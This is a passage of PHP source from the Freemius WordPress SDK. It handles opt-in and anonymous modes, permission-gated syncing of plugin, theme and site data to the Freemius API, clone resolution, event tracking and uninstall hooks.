automatically. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ FS_Clone_Manager::instance()->store_blog_install_info( $new_blog_id, $site ); } /** * @author Vova Feldman (@svovaf) * @since 2.5.0 * * @param \WP_Site $new_site * @param array $args */ public function _after_wp_initialize_site_callback( WP_Site $new_site, $args ) { $this->_logger->entrance(); $this->_after_new_blog_callback( $new_site->id, // Dummy user ID (not in use). 0, $new_site->domain, $new_site->path, $new_site->network_id, // Dummy meta, not in use. array() ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param bool|int|int[] $network_or_blog_ids Since 2.0.0. */ private function reset_anonymous_mode( $network_or_blog_ids = false ) { if ( true === $network_or_blog_ids ) { $this->unset_anonymous_mode( true ); if ( fs_is_network_admin() ) { $this->_is_anonymous = null; } // Rest anonymous mode for all non-delegated sub-sites. $blog_ids = $this->get_non_delegated_blog_ids(); } else { if ( false === $network_or_blog_ids ) { $network_or_blog_ids = 0; } $blog_ids = is_array( $network_or_blog_ids ) ? $network_or_blog_ids : array( $network_or_blog_ids ); foreach ( $blog_ids as $blog_id ) { if ( 0 === $blog_id || get_current_blog_id() == $blog_id ) { $this->_is_anonymous = null; } } } foreach ( $blog_ids as $blog_id ) { $this->unset_anonymous_mode( $blog_id ); } /** * Ensure that this field is also "false", otherwise, if the current module's type is "theme" and the module * has no menus, the opt-in popup will not be shown immediately (in this case, the user will have to click * on the admin notice that contains the opt-in link in order to trigger the opt-in popup). * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( ! $this->_is_network_active ) { $this->_is_anonymous = null; } } /** * @author Leo Fajardo (@leorw) * @since 2.5.3 */ private function update_license_required_permissions_if_anonymous() { if ( ! $this->is_anonymous() ) { return; } $this->reset_anonymous_mode( fs_is_network_admin() ); FS_Permission_Manager::instance( $this )->update_permissions_tracking_flag( array( 'essentials' => true, 'events' => true, 'diagnostic' => false, 'extensions' => false, 'site' => false, ) ); } /** * This is used to ensure that before redirecting to the opt-in page after resetting the anonymous mode or * deleting the account in the network level, the URL of the page to redirect to is correct. * * @author Leo Fajardo (@leorw) * * @since 2.1.3 */ private function maybe_set_slug_and_network_menu_exists_flag() { if ( ! empty( $this->_dynamically_added_top_level_page_hook_name ) ) { $this->_menu->set_slug_and_network_menu_exists_flag( $this->_menu->has_menu() ? $this->_menu->get_slug() : $this->_slug ); } } /** * Clears the anonymous mode and redirects to the opt-in screen. * * @author Vova Feldman (@svovaf) * @since 1.1.7 */ function connect_again() { if ( ! $this->is_anonymous() && ! $this->is_pending_activation() ) { return; } if ( $this->is_anonymous() ) { $this->reset_anonymous_mode( fs_is_network_admin() ); } $activation_url_params = array(); if ( $this->is_pending_activation() ) { $this->clear_pending_activation_mode(); if ( fs_request_get_bool( 'require_license' ) ) { $activation_url_params['require_license'] = true; } } $this->maybe_set_slug_and_network_menu_exists_flag(); fs_redirect( $this->get_activation_url( $activation_url_params ) ); } /** * Skip account connect, and set anonymous mode. * * @author Vova Feldman (@svovaf) * @since 1.1.1 * * @param bool|int|int[] $network_or_blog_ids Since 2.5.1 */ function skip_connection( $network_or_blog_ids = false ) { $this->_logger->entrance(); $this->_admin_notices->remove_sticky( 'connect_account' ); if ( true === $network_or_blog_ids ) { $this->set_anonymous_mode( true, true ); if ( fs_is_network_admin() ) { $this->_is_anonymous = null; } // Rest anonymous mode for all non-delegated sub-sites. $blog_ids = $this->get_non_delegated_blog_ids(); } else { if ( false === $network_or_blog_ids ) { $network_or_blog_ids = 0; } $blog_ids = is_array( $network_or_blog_ids ) ? $network_or_blog_ids : array( $network_or_blog_ids ); foreach ( $blog_ids as $blog_id ) { if ( 0 === $blog_id || get_current_blog_id() == $blog_id ) { $this->_is_anonymous = null; } } } foreach ( $blog_ids as $blog_id ) { $this->skip_site_connection( $blog_id ); } $this->network_upgrade_mode_completed(); } /** * Skip connection for specific site in the network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int|null $blog_id * @param bool $send_skip */ private function skip_site_connection( $blog_id = null ) { $this->_logger->entrance(); $this->_admin_notices->remove_sticky( 'connect_account', $blog_id ); $this->set_anonymous_mode( true, $blog_id ); } /** * Plugin version update hook. * * @author Vova Feldman (@svovaf) * @since 1.0.4 */ private function update_plugin_version_event() { $this->_logger->entrance(); if ( ! $this->is_registered() ) { return; } $this->schedule_install_sync(); // $this->sync_install( array(), true ); } /** * Generate an MD5 signature of a plugins collection. * This helper methods used to identify changes in a plugins collection. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param array [string]array $plugins * * @return string */ private function get_plugins_thumbprint( $plugins ) { ksort( $plugins ); $thumbprint = ''; foreach ( $plugins as $basename => $data ) { $thumbprint .= $data['slug'] . ',' . $data['Version'] . ',' . ( $data['is_active'] ? '1' : '0' ) . ';'; } return md5( $thumbprint ); } /** * Return a list of modified plugins since the last sync. * * Note: * There's no point to store a plugins counter since even if the number of * plugins didn't change, we still need to check if the versions are all the * same and the activity state is similar. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return array|false */ private function get_plugins_data_for_api() { // Alias. $site_active_plugins_option_name = 'active_plugins'; $network_plugins_option_name = 'all_plugins'; /** * Collection of all site level active plugins. */ $site_active_plugins_cache = self::$_accounts->get_option( $site_active_plugins_option_name ); if ( ! is_object( $site_active_plugins_cache ) ) { $site_active_plugins_cache = (object) array( 'timestamp' => '', 'md5' => '', 'plugins' => array(), ); } $time = time(); if ( ! empty( $site_active_plugins_cache->timestamp ) && ( $time - $site_active_plugins_cache->timestamp ) < WP_FS__TIME_5_MIN_IN_SEC ) { // Don't send plugin updates if last update was in the past 5 min. return false; } // Write timestamp to lock the logic. $site_active_plugins_cache->timestamp = $time; self::$_accounts->set_option( $site_active_plugins_option_name, $site_active_plugins_cache, true ); // Reload options from DB. self::$_accounts->load( true ); $site_active_plugins_cache = self::$_accounts->get_option( $site_active_plugins_option_name ); if ( $time != $site_active_plugins_cache->timestamp ) { // If timestamp is different, then another thread captured the lock. return false; } /** * Collection of all plugins (network level). */ $network_plugins_cache = self::$_accounts->get_option( $network_plugins_option_name ); if ( ! is_object( $network_plugins_cache ) ) { $network_plugins_cache = (object) array( 'timestamp' => '', 'md5' => '', 'plugins' => array(), ); } // Check if there's a change in plugins. $network_plugins = self::get_network_plugins(); $site_active_plugins = self::get_site_active_plugins(); $network_plugins_thumbprint = $this->get_plugins_thumbprint( $network_plugins ); $site_active_plugins_thumbprint = $this->get_plugins_thumbprint( $site_active_plugins ); // Check if plugins status changed (version or active/inactive). $network_plugins_changed = ( $network_plugins_cache->md5 !== $network_plugins_thumbprint ); $site_active_plugins_changed = ( $site_active_plugins_cache->md5 !== $site_active_plugins_thumbprint ); if ( ! $network_plugins_changed && ! $site_active_plugins_changed ) { // No changes. return array(); } $plugins_update_data = array(); foreach ( $network_plugins_cache->plugins as $basename => $data ) { if ( ! isset( $network_plugins[ $basename ] ) ) { // Plugin uninstalled. $uninstalled_plugin_data = $data; $uninstalled_plugin_data['is_active'] = false; $uninstalled_plugin_data['is_uninstalled'] = true; $plugins_update_data[] = $uninstalled_plugin_data; unset( $network_plugins[ $basename ] ); unset( $network_plugins_cache->plugins[ $basename ] ); unset( $site_active_plugins_cache->plugins[ $basename ] ); continue; } $was_active = $data['is_active'] || ( isset( $site_active_plugins_cache->plugins[ $basename ] ) && true === $site_active_plugins_cache->plugins[ $basename ]['is_active'] ); $is_active = $network_plugins[ $basename ]['is_active'] || ( isset( $site_active_plugins[ $basename ] ) && $site_active_plugins[ $basename ]['is_active'] ); if ( ! isset( $site_active_plugins_cache->plugins[ $basename ] ) && isset( $site_active_plugins[ $basename ] ) ) { // Plugin was site level activated. $site_active_plugins_cache->plugins[ $basename ] = $network_plugins[ $basename ]; $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true; } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) && ! isset( $site_active_plugins[ $basename ] ) ) { // Plugin was site level deactivated. unset( $site_active_plugins_cache->plugins[ $basename ] ); } $prev_version = $data['version']; $current_version = $network_plugins[ $basename ]['Version']; if ( $was_active !== $is_active || $prev_version !== $current_version ) { // Plugin activated or deactivated, or version changed. if ( $was_active !== $is_active ) { if ( $data['is_active'] != $network_plugins[ $basename ]['is_active'] ) { $network_plugins_cache->plugins[ $basename ]['is_active'] = $data['is_active']; } } if ( $prev_version !== $current_version ) { $network_plugins_cache->plugins[ $basename ]['Version'] = $current_version; } $updated_plugin_data = $data; $updated_plugin_data['is_active'] = $is_active; $updated_plugin_data['version'] = $current_version; $updated_plugin_data['title'] = $network_plugins[ $basename ]['Name']; $plugins_update_data[] = $updated_plugin_data; } } // Find new plugins that weren't yet seen before. foreach ( $network_plugins as $basename => $data ) { if ( ! isset( $network_plugins_cache->plugins[ $basename ] ) ) { // New plugin. $new_plugin = array( 'slug' => $data['slug'], 'version' => $data['Version'], 'title' => $data['Name'], 'is_active' => $data['is_active'], 'is_uninstalled' => false, ); $network_plugins_cache->plugins[ $basename ] = $new_plugin; $is_site_level_active = ( isset( $site_active_plugins[ $basename ] ) && $site_active_plugins[ $basename ]['is_active'] ); /** * If not network active, set the activity status based on the site-level plugin status. */ if ( ! $new_plugin['is_active'] ) { $new_plugin['is_active'] = $is_site_level_active; } $plugins_update_data[] = $new_plugin; if ( isset( $site_active_plugins[ $basename ] ) ) { $site_active_plugins_cache->plugins[ $basename ] = $new_plugin; $site_active_plugins_cache->plugins[ $basename ]['is_active'] = $is_site_level_active; } } } $site_active_plugins_cache->md5 = $site_active_plugins_thumbprint; $site_active_plugins_cache->timestamp = $time; self::$_accounts->set_option( $site_active_plugins_option_name, $site_active_plugins_cache, true ); $network_plugins_cache->md5 = $network_plugins_thumbprint; $network_plugins_cache->timestamp = $time; self::$_accounts->set_option( $network_plugins_option_name, $network_plugins_cache, true ); return $plugins_update_data; } /** * Return a list of modified themes since the last sync. * * Note: * There's no point to store a themes counter since even if the number of * themes didn't change, we still need to check if the versions are all the * same and the activity state is similar. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return array|false */ private function get_themes_data_for_api() { // Alias. $option_name = 'all_themes'; $all_cached_themes = self::$_accounts->get_option( $option_name ); if ( ! is_object( $all_cached_themes ) ) { $all_cached_themes = (object) array( 'timestamp' => '', 'md5' => '', 'themes' => array(), ); } $time = time(); if ( ! empty( $all_cached_themes->timestamp ) && ( $time - $all_cached_themes->timestamp ) < WP_FS__TIME_5_MIN_IN_SEC ) { // Don't send theme updates if last update was in the past 5 min. return false; } // Write timestamp to lock the logic. $all_cached_themes->timestamp = $time; self::$_accounts->set_option( $option_name, $all_cached_themes, true ); // Reload options from DB. self::$_accounts->load( true ); $all_cached_themes = self::$_accounts->get_option( $option_name ); if ( $time != $all_cached_themes->timestamp ) { // If timestamp is different, then another thread captured the lock. return false; } // Get active theme. $active_theme = wp_get_theme(); $active_theme_stylesheet = $active_theme->get_stylesheet(); // Check if there's a change in themes. $all_themes = wp_get_themes(); // Check if themes changed. ksort( $all_themes ); $themes_signature = ''; foreach ( $all_themes as $slug => $data ) { $is_active = ( $slug === $active_theme_stylesheet ); $themes_signature .= $slug . ',' . $data->version . ',' . ( $is_active ? '1' : '0' ) . ';'; } // Check if themes status changed (version or active/inactive). $themes_changed = ( $all_cached_themes->md5 !== md5( $themes_signature ) ); $themes_update_data = array(); if ( $themes_changed ) { // Change in themes, report changes. // Update existing themes info. foreach ( $all_cached_themes->themes as $slug => $data ) { $is_active = ( $slug === $active_theme_stylesheet ); if ( ! isset( $all_themes[ $slug ] ) ) { // Plugin uninstalled. $uninstalled_theme_data = $data; $uninstalled_theme_data['is_active'] = false; $uninstalled_theme_data['is_uninstalled'] = true; $themes_update_data[] = $uninstalled_theme_data; unset( $all_themes[ $slug ] ); unset( $all_cached_themes->themes[ $slug ] ); } else if ( $data['is_active'] !== $is_active || $data['version'] !== $all_themes[ $slug ]->version ) { // Plugin activated or deactivated, or version changed. $all_cached_themes->themes[ $slug ]['is_active'] = $is_active; $all_cached_themes->themes[ $slug ]['version'] = $all_themes[ $slug ]->version; $themes_update_data[] = $all_cached_themes->themes[ $slug ]; } } // Find new themes that weren't yet seen before. foreach ( $all_themes as $slug => $data ) { if ( ! isset( $all_cached_themes->themes[ $slug ] ) ) { $is_active = ( $slug === $active_theme_stylesheet ); // New plugin. $new_plugin = array( 'slug' => $slug, 'version' => $data->version, 'title' => $data->name, 'is_active' => $is_active, 'is_uninstalled' => false, ); $themes_update_data[] = $new_plugin; $all_cached_themes->themes[ $slug ] = $new_plugin; } } $all_cached_themes->md5 = md5( $themes_signature ); $all_cached_themes->timestamp = time(); self::$_accounts->set_option( $option_name, $all_cached_themes, true ); } return $themes_update_data; } /** * Get site data for API install request. * * @author Vova Feldman (@svovaf) * @since 1.1.2 * * @param string[] $override * @param bool $include_plugins Since 1.1.8 by default include plugin changes. * @param bool $include_themes Since 1.1.8 by default include plugin changes. * @param bool $include_blog_data Since 2.3.0 by default include the current blog's data (language, title, and URL). * * @return array */ private function get_install_data_for_api( array $override, $include_plugins = true, $include_themes = true, $include_blog_data = true ) { // Alias. $permissions = FS_Permission_Manager::instance( $this ); if ( $permissions->is_extensions_tracking_allowed() ) { if ( ! defined( 'WP_FS__TRACK_PLUGINS' ) || false !== WP_FS__TRACK_PLUGINS ) { /** * @since 1.1.8 Also send plugin updates. */ if ( $include_plugins && ! isset( $override['plugins'] ) ) { $plugins = $this->get_plugins_data_for_api(); if ( ! empty( $plugins ) ) { $override['plugins'] = $plugins; } } } if ( ! defined( 'WP_FS__TRACK_THEMES' ) || false !== WP_FS__TRACK_THEMES ) { /** * @since 1.1.8 Also send themes updates. */ if ( $include_themes && ! isset( $override['themes'] ) ) { $themes = $this->get_themes_data_for_api(); if ( ! empty( $themes ) ) { $override['themes'] = $themes; } } } } $versions = $this->get_versions(); $blog_data = array(); if ( $include_blog_data ) { $blog_data['url'] = self::get_unfiltered_site_url(); if ( $permissions->is_diagnostic_tracking_allowed() ) { $blog_data = array_merge( $blog_data, array( 'language' => self::get_sanitized_language(), 'title' => get_bloginfo( 'name' ), ) ); } } return array_merge( $versions, $blog_data, array( 'version' => $this->get_plugin_version(), 'is_premium' => $this->is_premium(), // Special params. 'is_active' => true, 'is_uninstalled' => false, ), $override ); } /** * Update installs details. * * @todo V1 of multiste network support doesn't support plugin and theme data sending. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string[] string $override * @param bool $only_diff * @param bool $is_keepalive * @param bool $include_plugins Since 1.1.8 by default include plugin changes. * @param bool $include_themes Since 1.1.8 by default include plugin changes. * * @return array */ private function get_installs_data_for_api( array $override, $only_diff = false, $is_keepalive = false, $include_plugins = true, $include_themes = true ) { /** * @since 1.1.8 Also send plugin updates. */ // if ( $include_plugins && ! isset( $override['plugins'] ) ) { // $plugins = $this->get_plugins_data_for_api(); // if ( ! empty( $plugins ) ) { // $override['plugins'] = $plugins; // } // } /** * @since 1.1.8 Also send themes updates. */ // if ( $include_themes && ! isset( $override['themes'] ) ) { // $themes = $this->get_themes_data_for_api(); // if ( ! empty( $themes ) ) { // $override['themes'] = $themes; // } // } // Common properties. $versions = $this->get_versions(); $common = array_merge( $versions, array( 'version' => $this->get_plugin_version(), 'is_premium' => $this->is_premium(), ), $override ); $is_common_diff_for_any_site = false; $common_diff_union = array(); $installs_data = array(); $sites = self::get_sites(); $subsite_data_for_api_by_install_id = array(); $install_url_by_install_id = array(); $subsite_registration_date_by_install_id = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) ) { if ( $install->user_id != $this->_user->id ) { // Install belongs to a different owner. continue; } if ( ! $this->is_tracking_allowed( $blog_id, $install ) ) { // Don't send updates regarding opted-out installs. continue; } $install_data = $this->get_site_info( $site, true ); if ( FS_Clone_Manager::instance()->is_temporary_duplicate_by_blog_id( $install_data['blog_id'] ) ) { continue; } $uid = $install_data['uid']; $url = $install_data['url']; $registration_date = $install_data['registration_date']; if ( isset( $subsite_data_for_api_by_install_id[ $install->id ] ) ) { $clone_subsite_data = $subsite_data_for_api_by_install_id[ $install->id ]; $clone_install_url = $install_url_by_install_id[ $install->id ]; $clone_subsite_registration_date = $subsite_registration_date_by_install_id[ $install->id ]; $skip = false; if ( ! empty( $install_data['registration_date'] ) && ! empty( $clone_subsite_registration_date ) ) { /** * If the current subsite was created after the other subsite that is also linked to the same install ID, we assume that it's a clone (not the original), and therefore, would skip its processing. * * @author Leo Fajardo (@leorw) * @since 2.5.1 */ $skip = ( strtotime( $install_data['registration_date'] ) > strtotime( $clone_subsite_registration_date ) ); } else if ( /** * If we already have an install with the same URL as the subsite it's stored in, skip the current subsite. Otherwise, replace the existing install's data with the current subsite's install's data if the URLs match. * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ fs_strip_url_protocol( untrailingslashit( $clone_install_url ) ) === fs_strip_url_protocol( untrailingslashit( $clone_subsite_data['url'] ) ) || fs_strip_url_protocol( untrailingslashit( $install->url ) ) !== fs_strip_url_protocol( untrailingslashit( $url ) ) ) { $skip = true; } if ( $skip ) { // Store the skipped subsite's ID so that the clone resolution manager can try to resolve the clone install that is stored in that subsite later on. FS_Clone_Manager::instance()->store_blog_install_info( $blog_id ); continue; } } unset( $install_data['blog_id'] ); unset( $install_data['uid'] ); unset( $install_data['url'] ); unset( $install_data['registration_date'] ); $install_data['is_active'] = $this->is_active_for_site( $blog_id ); $install_data['is_uninstalled'] = $install->is_uninstalled; $common_diff = null; $is_common_diff = false; if ( $only_diff ) { $install_data = $this->get_install_diff_for_api( $install_data, $install, $override ); $common_diff = $this->get_install_diff_for_api( $common, $install, $override ); $is_common_diff = ! empty( $common_diff ); if ( $is_common_diff ) { foreach ( $common_diff as $k => $v ) { if ( ! isset( $common_diff_union[ $k ] ) ) { $common_diff_union[ $k ] = $v; } } } $is_common_diff_for_any_site = $is_common_diff_for_any_site || $is_common_diff; } if ( ! empty( $install_data ) || $is_common_diff || $is_keepalive ) { // Add install ID and site unique ID. $install_data['id'] = $install->id; $install_data['uid'] = $uid; $install_data['url'] = $url; $subsite_data_for_api_by_install_id[ $install->id ] = $install_data; $install_url_by_install_id[ $install->id ] = $install->url; $subsite_registration_date_by_install_id[ $install->id ] = $registration_date; } } } restore_current_blog(); $installs_data = array_merge( $installs_data, array_values( $subsite_data_for_api_by_install_id ) ); if ( 0 < count( $installs_data ) && ( $is_common_diff_for_any_site || ! $only_diff ) ) { if ( ! $only_diff ) { $installs_data[] = $common; } else if ( ! empty( $common_diff_union ) ) { $installs_data[] = $common_diff_union; } } foreach ( $installs_data as &$data ) { $data = (object) $data; } return $installs_data; } /** * Compare site actual data to the stored install data and return the differences for an API data sync. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param array $site * @param FS_Site $install * @param string[] string $override * * @return array */ private function get_install_diff_for_api( $site, $install, $override = array() ) { $diff = array(); $special = array(); $special_override = false; foreach ( $site as $p => $v ) { if ( property_exists( $install, $p ) ) { if ( ( is_bool( $install->{$p} ) || ! empty( $install->{$p} ) ) && $install->{$p} != $v ) { $val = self::get_api_sanitized_property( $p, $v ); if ( $install->{$p} != $val ) { $install->{$p} = $val; $diff[ $p ] = $val; } } } else { $special[ $p ] = $v; if ( isset( $override[ $p ] ) || 'plugins' === $p || 'themes' === $p ) { $special_override = true; } } } if ( $special_override || 0 < count( $diff ) ) { // Add special params only if has at least one // standard param, or if explicitly requested to // override a special param or a param which is not exist // in the install object. $diff = array_merge( $diff, $special ); } return $diff; } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 */ private function send_pending_clone_update_once() { $this->_logger->entrance(); if ( ! empty( $this->_storage->clone_id ) ) { return; } $install_clone = $this->get_api_site_scope()->call( '/clones', 'post', array( 'site_url' => self::get_unfiltered_site_url() ) ); if ( $this->is_api_result_entity( $install_clone ) ) { $this->_storage->clone_id = $install_clone->id; } } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @param string $resolution_type * @param FS_Site $clone_context_install */ function send_clone_resolution_update( $resolution_type, $clone_context_install ) { $this->_logger->entrance(); if ( empty( $this->_storage->clone_id ) ) { return; } $new_install_id = null; $current_site = null; $flush = false; /** * If the current site is now different from the context install before the clone resolution, we need to override `$this->_site` so that the API call below will be made with the right install scope entity. */ if ( $clone_context_install->id != $this->_site->id ) { $new_install_id = $this->_site->id; $current_site = $this->_site; $this->_site = $clone_context_install; $flush = true; } $this->get_api_site_scope( $flush )->call( "/clones/{$this->_storage->clone_id}", 'put', array( 'resolution' => $resolution_type, 'new_install_id' => $new_install_id, ) ); if ( is_object( $current_site ) ) { /** * Ensure that the install scope entity is updated back to the previous install entity. */ $this->_site = $current_site; // Restore the previous install scope entity of the API. $this->get_api_site_scope( true ); } } /** * Update install only if changed. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string[] string $override * @param bool $flush * @param bool $is_two_way_sync @since 2.5.0 If true and there's a successful API request, the install sync cron will be cleared. * * @return false|object|string */ private function send_install_update( $override = array(), $flush = false, $is_two_way_sync = false ) { $this->_logger->entrance(); $check_properties = $this->get_install_data_for_api( $override ); if ( $flush ) { $params = $check_properties; } else { $params = $this->get_install_diff_for_api( $check_properties, $this->_site, $override ); } if ( empty( $params ) ) { $keepalive_only_update = $this->should_send_keepalive_update(); if ( ! $keepalive_only_update ) { /** * There are no updates to send including keepalive. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ return false; } } if ( $is_two_way_sync ) { /** * Update last install sync timestamp during a two-way sync call as we expect that updates are sent during this call. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ if ( ! is_multisite() ) { // Update last install sync timestamp. $this->set_cron_execution_timestamp( 'install_sync' ); } $params['uid'] = $this->get_anonymous_id(); } $this->set_keepalive_timestamp(); // Send updated values to FS. $site = $this->api_site_call( '/', 'put', $params, true ); if ( $is_two_way_sync && $this->is_api_result_entity( $site ) ) { /** * Clear scheduled install sync after a two-way sync call. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ if ( ! is_multisite() ) { // I successfully sent install update, clear scheduled sync if exist. $this->clear_install_sync_cron(); } } return $site; } /** * Update installs only if changed. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string[] string $override * @param bool $flush * @param bool $is_two_way_sync @since 2.5.0 If true and there's a successful API request, the install sync cron will be cleared. * * @return false|object|string */ private function send_installs_update( $override = array(), $flush = false, $is_two_way_sync = false ) { $this->_logger->entrance(); /** * Pass `true` to use the network level storage since the update is for many installs. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ $should_send_keepalive = $this->should_send_keepalive_update( true ); $installs_data = $this->get_installs_data_for_api( $override, ! $flush, $should_send_keepalive ); if ( empty( $installs_data ) ) { return false; } if ( $is_two_way_sync ) { // Update last install sync timestamp during a two-way sync call as we expect that updates are sent during this call. $this->set_cron_execution_timestamp( 'install_sync' ); } /** * Pass `true` to use the network level storage since the update is for many installs. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ $this->set_keepalive_timestamp( true ); // Send updated values to FS. $result = $this->get_api_user_scope()->call( "/plugins/{$this->_plugin->id}/installs.json", 'put', $installs_data ); if ( $is_two_way_sync && $this->is_api_result_object( $result, 'installs' ) ) { // I successfully sent a two-way installs update, clear the scheduled install sync if it exists. $this->clear_install_sync_cron(); } return $result; } /** * @author Leo Fajardo (@leorw) * * @param bool|null $use_network_level_storage * * @return bool */ private function should_send_keepalive_update( $use_network_level_storage = null ) { $keepalive_timestamp = $this->_storage->get( 'keepalive_timestamp', 0, $use_network_level_storage ); if ( $keepalive_timestamp < ( time() - WP_FS__TIME_WEEK_IN_SEC ) ) { // If updated more than 7 days ago, trigger a keepalive and update the time it was triggered. return true; } else { // If updated 7 days ago or less, "flip a coin", if the value is 7 trigger a keepalive and update the last time it was triggered. return ( 7 == rand( 1, 7 ) ); } } /** * Syncs the install owner's data if needed (i.e., if the install owner is different from the loaded user). * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ private function maybe_sync_install_user() { if ( $this->_user->id == $this->_site->user_id ) { return; } // Fetch user data and store if found. $this->sync_user_by_current_install(); } /** * Update install only if changed. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string[] string $override * @param bool $flush */ function sync_install( $override = array(), $flush = false ) { $this->_logger->entrance(); $site = $this->send_install_update( $override, $flush, true ); if ( false === $site ) { // No sync required. return; } if ( ! $this->is_api_result_entity( $site ) ) { // Failed to sync, don't update locally. return; } $this->_site = new FS_Site( $site ); $this->_store_site( true ); } /** * Update install only if changed. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string[] string $override * @param bool $flush */ private function sync_installs( $override = array(), $flush = false ) { $this->_logger->entrance(); $result = $this->send_installs_update( $override, $flush, true ); if ( false === $result ) { // No sync required. return; } if ( ! $this->is_api_result_object( $result, 'installs' ) ) { // Failed to sync, don't update locally. return; } $address_to_blog_map = $this->get_address_to_blog_map(); foreach ( $result->installs as $install ) { $this->_site = new FS_Site( $install ); $address = trailingslashit( fs_strip_url_protocol( $install->url ) ); $blog_id = $address_to_blog_map[ $address ]; $this->_store_site( true, $blog_id ); } } /** * Track install's custom event. * * IMPORTANT: * Custom event tracking is currently only supported for specific clients. * If you are not one of them, please don't use this method. If you will, * the API will simply ignore your request based on the plugin ID. * * Need custom tracking for your plugin or theme? * If you are interested in custom event tracking please contact yo@freemius.com * for further details. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param string $name Event name. * @param array $properties Associative key/value array with primitive values only * @param bool $process_at A valid future date-time in the following format Y-m-d H:i:s. * @param bool $once If true, event will be tracked only once. IMPORTANT: Still trigger the API call. * * @return object|false Event data or FALSE on failure. * * @throws \Freemius_InvalidArgumentException */ public function track_event( $name, $properties = array(), $process_at = false, $once = false ) { $this->_logger->entrance( http_build_query( array( 'name' => $name, 'once' => $once ) ) ); if ( ! $this->is_registered() ) { return false; } $event = array( 'type' => $name ); if ( is_numeric( $process_at ) && $process_at > time() ) { $event['process_at'] = $process_at; } if ( $once ) { $event['once'] = true; } if ( ! empty( $properties ) ) { // Verify associative array values are primitive. foreach ( $properties as $k => $v ) { if ( ! is_scalar( $v ) ) { throw new Freemius_InvalidArgumentException( 'The $properties argument must be an associative key/value array with primitive values only.' ); } } $event['properties'] = $properties; } $result = $this->get_api_site_scope()->call( 'events.json', 'post', $event ); return $this->is_api_error( $result ) ? false : $result; } /** * Track install's custom event only once, but it still triggers the API call. * * IMPORTANT: * Custom event tracking is currently only supported for specific clients. * If you are not one of them, please don't use this method. If you will, * the API will simply ignore your request based on the plugin ID. * * Need custom tracking for your plugin or theme? * If you are interested in custom event tracking please contact yo@freemius.com * for further details. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param string $name Event name. * @param array $properties Associative key/value array with primitive values only * @param bool $process_at A valid future date-time in the following format Y-m-d H:i:s. * * @return object|false Event data or FALSE on failure. * * @throws \Freemius_InvalidArgumentException * * @user Freemius::track_event() */ public function track_event_once( $name, $properties = array(), $process_at = false ) { return $this->track_event( $name, $properties, $process_at, true ); } /** * Plugin uninstall hook. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $check_user Enforce checking if user have plugins activation privileges. */ function _uninstall_plugin_event( $check_user = true ) { $this->_logger->entrance( 'slug = ' . $this->_slug ); if ( $check_user && ! current_user_can( 'activate_plugins' ) ) { return; } $params = array(); $uninstall_reason = null; if ( isset( $this->_storage->uninstall_reason ) ) { $uninstall_reason = $this->_storage->uninstall_reason; $params['reason_id'] = $uninstall_reason->id; $params['reason_info'] = $uninstall_reason->info; } if ( ! $this->is_registered() ) { // Send anonymous uninstall event only if user submitted a feedback. if ( isset( $uninstall_reason ) ) { if ( isset( $uninstall_reason->is_anonymous ) && ! $uninstall_reason->is_anonymous ) { $this->opt_in( false, false, false, false, true ); } else { $params['uid'] = $this->get_anonymous_id(); $this->get_api_plugin_scope()->call( 'uninstall.json', 'put', $params ); } } } else { $params = array_merge( $params, array( 'is_active' => false, 'is_uninstalled' => true, ) ); if ( $this->_is_network_active ) { // Send uninstall event. $this->send_installs_update( $params ); } else { // Send uninstall event and handle the result. $this->sync_install( $params ); } } // @todo Decide if we want to delete plugin information from db. } /** * Set the basename of the current product and hook _activate_plugin_event_hook() to the activation action. * * @author Vova Feldman (@svovaf) * @since 2.2.1 * * @param string $is_premium * @param string $caller * * @return void */ function set_basename( $is_premium, $caller ) { $basename = plugin_basename( $caller ); $current_basename = $is_premium ? $this->_premium_plugin_basename : $this->_free_plugin_basename; if ( $current_basename == $basename ) { // Basename value set correctly. return; } if ( $is_premium ) { $this->_premium_plugin_basename = $basename; } else { $this->_free_plugin_basename = $basename; } $plugin_dir = dirname( $this->_plugin_dir_path ) . '/'; register_activation_hook( $plugin_dir . $basename, array( &$this, '_activate_plugin_event_hook' ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.1 * @since 2.2.1 If the context product is in its premium version, use the current module's basename, even if it was renamed. * * @return string */ function premium_plugin_basename() { if ( ! isset( $this->_premium_plugin_basename ) ) { $this->_premium_plugin_basename = $this->is_premium() ? // The product is premium, so use the current basename. $this->_plugin_basename : $this->get_premium_slug() . '/' . basename( $this->_free_plugin_basename ); } return $this->_premium_plugin_basename; } /** * Uninstall plugin hook. Called only when connected his account with Freemius for active sites tracking. * * @author Vova Feldman (@svovaf) * @since 1.0.2 */ public static function _uninstall_plugin_hook() { self::_load_required_static(); self::$_static_logger->entrance(); if ( ! current_user_can( 'activate_plugins' ) ) { return; } $plugin_file = substr( current_filter(), strlen( 'uninstall_' ) ); self::$_static_logger->info( 'plugin = ' . $plugin_file ); define( 'WP_FS__UNINSTALL_MODE', true ); $fs = self::get_instance_by_file( 